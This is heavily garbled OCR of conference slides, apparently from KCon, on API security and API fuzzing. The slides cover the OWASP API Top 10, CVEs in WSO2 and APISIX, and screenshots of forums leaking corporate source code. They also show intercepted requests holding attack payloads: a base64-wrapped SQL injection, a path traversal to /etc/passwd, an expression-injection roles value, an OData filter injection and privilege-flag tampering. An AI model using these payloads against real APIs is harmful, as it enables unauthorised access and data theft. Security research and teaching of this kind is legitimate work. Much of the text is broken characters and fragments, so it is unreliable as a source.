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APIZF5APIES

Hype Cycle for APIs and Business Ecosystems, 2021 API Platform Landscape

API Platform

API Client AP Design & Mocking APl Testing & Automation API Documentation API Monitoring
Business Ecosystems b S : % 5.4

/ CSP Open APIs
API-Centric SaaS ‘ API| Threat Protection

Graph APls | API Standards
API Security Testing API Testing Services
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Healthcare Payer APls
Event-Driven APls AP|-Based Digital Commerce S

API| Security API Observability
D oasif

EXPECTATIONS

/
Banking API| Aggregators
9 99res Mediated API Pattern
Business Ecosystem

Modelin
g AP| Access Control

\ v i Public APIs
\ APl Marketplaces

Partner Ecosystem S Seekret
Management ;

Platforms APl Management PaaS

\

Digital Business Nt

Open APls Technology Platform

in Insurance
API Developer Open Banking Strategy

Portals in Banking

(A A

Full Life Cycle API
Management

“TIME
@ 25vrs. (O 5-10vrs. A >10vrs.

Plateau will be reached: @ <2wrs.

Source: Gartner (July 2021)
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APIif}Y KB

REST

Webhooks

Restful API ( i) Websockets

GraphQL

SOAP API
SOAP
Server-Sent Events
GrathL API gRPC
MQTT
gRPC API AMQP
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OWASP API Security Top 10
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5l : APIfBRIAER (SonarQube API RIZHUTELIRILED)

AgainstTheWest

Hello everyone.

"Ransomware Threat
Actor”

VIP

PostsThreadsJoined 1250

Reputation Oct 2021 Today we are leaking the entire source to the 5G service known as iSite, which is owned and
maintained by Robert Bosch GmbH.
This data is going to be released in one massive part. Nothing else will be posted on this anywhere.

Futhermore, the following will be released in bulk on this thread:

* bosch-isite-rule-controller
* bosch-isite-rule-service
* bosch-isite-proxy

#

AgainstTheWest

| \*

|

I

"Ransomware Threat
Actor”

I Mercedes-Benz

eadsJoined 1250
Reputation Oct 2021 Greetings everyone on RF!

SeveteT

Today, we're leaking the source codes to:

e Mercedes-Benz's critical infastruct platform - HTML, CSS & Java
» Beijing Benz Automotive API System - Java

5 - 5 ’r 5 o . 5 5 i 5 5 5 e
{"settings”: [ {"key” : “sonaranalyzer-cs. nuget. packageVersion”, “value”:”8. 6. 1. 17183", “inhe
i o i - . . i i 5 i i 5. - i
{"key” : “sonaranalvyzer. security. cs. pluginVersion”, “value”:”8. 3. 0. 1825”, “inherited” : true}
rr ’r 2 i . > ’r r 2 i 5 55 . - ”r i
{"key” : “sonar. cs. ignoreHeaderComments”, “value”:"true”, “inherited” : true},
i/ 5 5 . . > 5 5 o5 55 5 i 55 . . >
{ key . sonar.c.file.suffixes , values [, ¢ , .h ], inherited :true},
iy ’r 5 . . . o i i i ’ i i 55 N s
{"key” : “sonar. typescript. file. suffixes”, “values”:[”. ts”, “. tsx”], “inherited” : true},
iy 5 r . 5 s i Fis »r . . ’r
"key” :“email. fromName”, “value”:“SonarQube”, “inherited”: true},
i 55 i - . - 5 i i 5 5 S5 . . i
{"key” :"sonar. python. xunit. skipDetails”, “value”:“false”, “inherited” : true},
s’ ’r i - . s i i i - . iy 5. - s
{"key” :"sonar. plsql. jdbec. driver. class”, “value” :“oracle. jdbec. OracleDriver”, “inherited” : 1
i 5 5 . r i i > 5 55 . . ’”
{"key” : “sonar. go. exclusions”, “values” : [“#*/vendor/+*"], “inherited” : true},
5 5 i - . 5 5 5 55 i 5. - o
{ key . sonar. forcefuthentication , wvalue : false , inherited :true},
s’ ’r 5 . . . ” s ’r 5 i 55 e - ’r
{ key : sonar.notifications.delay , wvalue : 60, inherited ‘truel,
i 5 = 5 . . i iy r .
{"key” :"sonar. cpp. file. suffixes”, “values”:
5 o5 i r 5 5 I 5 e i i 5 5 i
[“. cc A R L AN o T o T o RO o ¢ G
’ o - 5 . - o 5 o - i 5 5. -
{"key” : “sonaranalyzer. security. cs. nuget. packageVersion”, “value”:”8. 3. 0. 1825”, “inheri tec
5 5 o 5 5 i 5 5 5. . ’r
{"key” :"sonaranalyzer-cs. ruleNamespace”, “value” : “SonarAnalyzer. CSharp”, “inherited” : true
5 55 i 5 i o rr 5 S . . i
{"key” : “sonar. cs. analyzeGeneratedCode”, “value”:"false”, “inherited” : true},
i ’r i . ’ i ’r o5 i S - 5
{"key” :"email. smtp_port. secured”, “value”:”25", “inherited” : true},
i 5 5 . . . . . . . 5 ” i r i .
{"key” :"sonar. builtInQualityProfiles. disableNotificationOnUpdate”, “value”:"false”, “inhe
5 5 B i - . 5 iy i . ir r i i 5 5 5. - 5 .
{"key” :"sonar. css. file. suffixes”, “values”:[”. css”, ”. less”, ”. scss”], “inherited” : true},
i 5 & i - - i i 5 N 5 > 5. - o5 N
{"key” : “sonar. organizations. createPersonalOrg”, “value”:“false”, “inherited” :true},
i 5 5 . . 5 5 5 i i 5. - >
"key” : “sonar. cpd. abap. minimumlokens”, “value”:"100”, “inherited” : true},
s ’ i N B ” s s
{"key” :"sonar. html. file. suffixes”, “values”:
i > 5 i 7 i ’r > 5 5 5 5 ’r > ’r 5 5 5 o 5
[“.html”, “. xhtml”, “. cshtml”, “. vbhtml”, . aspx”, . ascx”, “. rhtml”, ”. erb”, ”. shtm”, ”. shtml
iy o i . 5 5 o5 55 5 5. - o
{"key” : “sonar. auth. gitlab. enabled”, “value”:"false”, “inherited” : true},
’r o 5 - i ” i 5 iis . - r
{ key : sonar.cpd. cross_project , wvalue : false , inherited :true},
i 5 55 - 5 »r 5 i 5 ™ . i
{ key : sonar.vbnet. ignoreHeaderComments , wvalue : true , 1nherited :true},
5 s X o - 5 5 L “ s - )’.f 55
{"key” :"sonaranalyzer. security. cs. nuget. packageld”, “value”:”Sonardnalyzer. Security”, “i
i i ’r 5 N > 5 r »” ’r 5. . iis
{"key” : “sonar. auth. github. groupsSync”, “value”:"false”, “inherited” :true},
5 5 o5 . . i 5 > i 5 ™ . 5 5 ’r »r
{ key : sonar.scala.file.suffixes , wvalues :[7. scala ], inherited :true},{ key . sonarsg
i o r ’r - - s 5. . i
vbnet. rul eNamespace”, “value” : “Sonarf&nalyzer. VisualBasic”, “inherited”: true},
iis o 2 r . . - r i i i 5 r 55 . . 5 .
{ key : sonar. javascript.lgnoreHeaderComments , wvalue : true , 1inherited .true},
5 5 i . 5 o5 r 5 iy 5. . i
{"key” : “sonar. dbcleaner. daysBeforeDeletingClosedIssues”, “value”:“30”, “inherited” : true},

{"key” : "sonar. dbcleaner. weeksBeforeKeepingOnlyOneSnapshotByMonth”, “value”:"52", “i

5

Cht+” 7 ipp”], “inherited” :truel,

5

inherit
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fil . APIEfih& bR (2RI ? )
WS

Products ~ Solutions ~ Resources ~ Company ~ Support~  Ci

WSOZ API Manager Documentation Product Features

The #1 Open-source Platform for
Building and Managing APIs With Ease }

One complete platform for building, integrating, and exposing your digital services as
managed APIs in the cloud, on-premises, and hybrid architectures to drive your digital
transformation strategy.

* CVE-2022-29464

WS02 APl Manager <IN A4 _E1ZRCE

 CVE-2022-24112

Apache APISIX bacth-requestsiz

* CVE-2021-45232
Apache APISIX Dashboardi#t¥

RN PRS2 RCE
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API FUZZ Scheme & practical case



KCon

(B Web Fuzzi5 ZR) 3R

SENIKRR
- HFERwebiAHEz8f IET FHAVIER T BE3RENZIRIAPIERZRERE

SEENE T
» &t Web Fuzz2E T GET/POSTIMY#HTFormZRER |, ZATTAPIFESFRIMNAETL.
BHENSEEN. SHAREFIS | A EmEERAERNENK

AN Z o
AR

* (£t Web FuzzT BERANESKSEUEAIEREHE , FERLBYE T




KCon +]

API Fuzziiizs
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swaggerRYE T B HIRINEIAPIRIZ, SEEH. SR
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swagger
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payload sequence http checker

APIIR 3l ETL
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DNS checker
API| Flow
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SRENAPIZSENZEE1 - Swaggerfi#t

swagger 2.0

nfo

openApi 3.0

callbacks

BasePath

Host
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Sto re Access to Petstore orders

Request URL

https://petstore.swagger.io/v2/store/order

/store/order Placean orderfora pet Server response

Code Details

/store/order/{orderId} Findpurchase orderbyID

200 Response body

uidu: ;‘;gi‘_"\'\;"

DIANI N /store/order/{orderId} Delete purchase orderbyID

"petId":
"quantity": O,
"shipDate": "2022-07-20T05:20:51.482+0000",
/store/inventory Returns petinventories by status "status": "placed",
"complete": true
}
r D 4 D

KIiXPOSTiEK KIZXGETiFR

: !

/store/order  ——> IR X o) R —>»! /store/order/{orderld} —> IR X Ao R

! !

i v 2£ BB o e
A Braed HU B B TR
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APl (#F-&A1) meER ( FZXB(E )
RESTFULIS /OST /v1/user/
POST /v1/user/{string}/phon POST /v1/user/
HTTP GET/POSTmHGET /v1/user/phone?user=
GET /v1/user/phon

-GET /v1l/user/phone?user=

TSR EIXAE POST /api?route=admin&action=login

. . . . name={c:i&passwd=
POST /api?route=admin&action=Ilogi
POST /api?route=admin&action=login

name= &passwd=

/phone

/phone
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"tag": "31ieplLiS894",
"properties": A
ranres |

J
L

"id": "baed563deabl",

"count": 92

"number": 19,
"zone": {
"enum": |
"PUDLIC.

"Private"

"id": "dcaeb7cld"

v object {4}

tag : jfiopll894

v properties {4}

v info [1]
v 0 {2}
id : baed563deabl
count : 92
number : 19
v zone {1}
v enum [2]
0 : Public
1 : Private
v info2 [1]
v 0 {1}
id : dcae67cld

name : eric

isVip : false

id

count

properties

number

name

info2

.id

IsVip
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- type: bool
NOde MUtathn encode: none
key: 1sVip
value;
properties name IsVip
» FEHERESE A\ payload ,
type: string
NP y encode: none
« ;7 ENERE payload key: name
value: eric
- IS 2R TR
number enum info2
o SSRYEEHA
type: string
encode: none
key: 1d
count value:
type:
encode: none
key: count
value:
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Schema Mutation

* AT

PR3

i

- BiftobjectzEBLLE

| —

’ IS_sso=true

. sso_type=admin

tag

W

\

‘—\—\_\.‘.‘.‘

A% %

‘-
-~
“.
- -~
- - -~
.. ‘-. .
- - ™ .
~ e M"'\‘\’.,
- --- g ¥ e
-
- --‘ JU—
- . —
- -~
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-
-~

-
o~
-~ -~
-
S~ -
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S e
i IS SsSOo=true
- —
Q’-
-‘
-~
-
e
‘s

’ sso_type=admin

number enum | ! info2

\‘r/

count Oy id



KCon

SHRBRSS

IS KIMEAEE S

@ CiRRIEL
O] Be{E1B %

BT

/

BRI FEREFEARINRLEI I

ST FERE/RINRISTRTIV

« XML / Base64 / JSON / WSDL

& B TTuzzTo AR FRERRY S SR

Source: {"name":

"ZXJpYw==

{"name": "ZXJpYw=

='and '1l'=

17

{"name": "ZXJpYxhhbmQgGDEZPRgx"} \/

O XBAEE .
- 1H3IB T RREEEFIESE

- EHHIEEGHETR | 5
- IRRRIRBIRYEL

E

E A\ payload

SRR

[

type:string

key:settings

value : PHhtb...

type:object

key:settings
value :
{" p_id” .}

type:number
encode:none
key:p_id
value ; 1417

source .
value

userdata

age

type:string

. json_object |key: one

value : 13806

T |type:string

key:pfile
value : <xml><value>13806</...

@ oo

type:string

encode:none

key:p_path

value : ../../../../etc/passwd
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Fuzzt{iSESHEXEINSZ Y

MaLARSS

FID ResourcelD

L Baseb64
N

WID

i

R

P

, Sec-Ch-Ua:

» Sec—-Fetch-Dest:

18 Accept-Language:

equest R

esponse

Sl Raw Hex = Raw Hex

=W N -

9 Access-Control-Allow-Credentials:
10 Access—Control-Expose-Headers:

‘Content—Length: 140

" Not A;Brand";v="99", "Chromium";v="99", "Google

Chrome" ;v="99"
6 Accept:
7 Content-Type:
8 X-Csrf-Token:

application/json, text/plain, */x

application/json; charset=UTF-8
6b3617d4dbd7ec58af50e862e2bf46ba 14
Sec-Ch-Ua-Mobile: 70 ;5
User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84
Safari/537.36
Sec-Ch-Ua-Platform:
Origin:
Sec-Fetch-Site:
Sec~-Fetch-Mode:

"mac0Ss"

cross-site

cors

empty

Referer:

gzip, deflate
zh-CN, zh;q=90.9

Accept—Encodlng

{
uFIDu 4

"ResourceID"'”ZGVmYXVsdA——
"WID":"n-20220413091215- 8x1ar“

0 matches

HTTP/2 200 0K

Server: Tengine

Content-Type: application/json; charset=utf-8
Date: Wed, 13 Apr 2022 ©7:41:22 GMT
Upstream Caught: 1649835682582000

true
X-XSRF-TOKEN
6b3617d4dbd7ec58af50e862e2bf46ba
inner; dur=260, inner;

X-Need-Token:
Server—-Timing:
12

X-Tt-Trace-Tag:
rX—Real—Status:

“ResponseMetadata"'{

"Action"
"Version":"2021—16—el“,
"Service":"pl_platform"
"Region":"cn-beijing"

},

"Result":{
"Id":"n-20220413091215-8xlar"

¥

s

@@ €>

0 matches




B oIR1T request_root

POST https:// /etrading/

"method" :"doBusiness", method 3 tradepassword

"redeemshare":"0.01",

"bankvalue'": '

Q redeemshare type: string
encode: none
VLT O bankvalue key: tradepassword

"withdrawalsmode":"1", — value: [hashed string]
"mintredeemStr": C raaeacco

"mintredeem":"1",

"shareNvV":"", <:>"'
"fund":{

"fundcode":'

" 1

"fundname":

"tradeacco":"01583444",

"capitalmode":"DQ",

1
2
3
4
5
6
I
8
9

= T = T = T SO Sy o
N OO 01D WNHE O

HShal’-etypeH . ”A”

}s

"othertradeacco'":!'

=
O ™

"uservalue'":' !

N N
= ©
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Eh= : SRFriEApayloadEIERCE

SN Raw Hex \n = NG Raw Hex =3 ‘\n =

POST /service/extdirect HTTP/2 HTTP/2 200 OK

| = Date: Tue, 25 Jan 2022 12:17:29 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 169

Server: Nexus/3.20.1-01 (0OSS)
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-Ui: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé64; x64) AppleWebKit
Chrome/80.0.3987.149 Safari/537.36
Nx-Anti-Csrf-Token: 0.06353542358408082
Content-Type: application/json {
Accept: */* *$1a"11},
§ § "action":"coreui User",
11 § "method":"update",
12 Accept-Encoding: gzip, deflate "result":{
13 Accept-Language: zh-CN,zh;g=0.9 "messages":null,
14 Cookie: NX-ANTI-CSRF-TOKEN=0.06353542358408082; NXSESSIONID= "errors":{ .
bl61ld4bd-e5c7-41c4-87a7-ec05839ada7b "roles":"Missing roles: [nxadminB54289]" aCt|On methOd
15 Yo
16 { "success":false,
"action":"coreui_ User", "data":[
"method" : "update", ]
"data":[ },
{ "type":"rpc
"userId":"admin",
"version":"2",
"firstName":"admin",
"lastName":"User", .
"email":"admin@example.org", version r0|es
"status":"active",
"roles":|

"nxadmin$\\B{233%233}" Type:string
Encode:none

Key:roles
Value:nxadmin$\\B{233*233}

oo bd WwWwN =

]
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. BRRD + 1816

Reques

» ]

o

filter=(userld eq “xxxx'’

16
17
18

19

mHex n =

GET /appapl/odata/vz/FormFolder’Sformat-]son&Sfllter-
userId%ZOeq%ZO%Zlusend}Z7%20and%20folderName%20eq%20%27Completed%27&
$expand=forms/formHeader/formSubject&$select=

folderId, folderNa forms,userId HTTP/1.1

——

Google Chrome";v="97",

Sec-Ch-Ua: " Not;A Brand"'v—"99"
"Chromium"-v-"97“
Accept: application/json,

= - — o —

_text/plain, */*

and folderName eq “xxx

Sec-Ch-Ua-Mobile: 20 ~—~—~TTTTTTTTTssss s s s s s
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10 14 6)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99
Safari/537.36

Token: null

Sec-Ch-Ua-Platform: "macOS"

Sec-Fetch-Site: same-origin

Sec~-Fetch-Mode: cors

_Sec-Fetch-Dest:

J“L____________________I

= e s = = e
, Accept-Encoding: gzip, defliate

Accept-Language: zh-CN,zh;g=0.9
Connection: close

0 matches

SiISAEIEfMEHPER

1 GET /appapi/odata/v2/Form
$20(userId%20eq%20%27a%27

7 Sec-Ch-Ua-Mobile:

8 User-Agent: Mozilla/5.0 (
Gecko) Chrome/97.0.4692.9

9 Token: null

10 Sec-Ch-Ua-Platform: "macO

11 Sec-Fetch-Site: same-orig

12 Sec-Fetch-Mode: cors

13 Sec-Fetch-Dest: empty

15 Accept Encoding: gzip, de

16 Accept-Language: zh-CN,zh;

17 Connection: close
18
19

Folder?S$format=json&$filter=
4200r%202%20eqg%202) %20 JHTTP/1.1

Macintosh;
9 Safari/537.36

g"
in

flate
q=0.9

’

Chromlum

_n
A

Intel Mac OS X 10_14 6) AppleWebKit/537.36 (KHTML, like

0 matches

111
112
113
114

115
116

117

e
WNNNN
o O ] O

=
w
N =

w W

[
w
w

=g \n =

"https://apil5. saq

metadata :{
"uri" https://apilS.sad
type :"SFOData.FormFolder

_________________________________ 4

AJSLMBERAFER

}o
"folderId":'4043
"folderName"
"userId":’ r
"forms":
"__deferred {
"uri":
}
}

__metadata":{
"uri":"https://apilS5.sap

"type":"SFOData.FormFolder"

b

"folderId":'4046

"folderName

"userId":

"forms":
" __deferred":

"uri":”https://apilS.sag

}

}

metadata :{
"uri” https //apil5. sag

"type "SFOData.FormFolder"

b
"folderIid":" 4049
"folderName": "Cc
"userId":)
"forms"
" deferred s
"uri":"https://apil5.saj

metadata

"folderId":"4052",
"folderName":"Completed",
"userId":"

"forms":

Se

T
rt
—
O
~
-—

dOL1D03dSNI

0 matches

288,573 bytes | 473 millis
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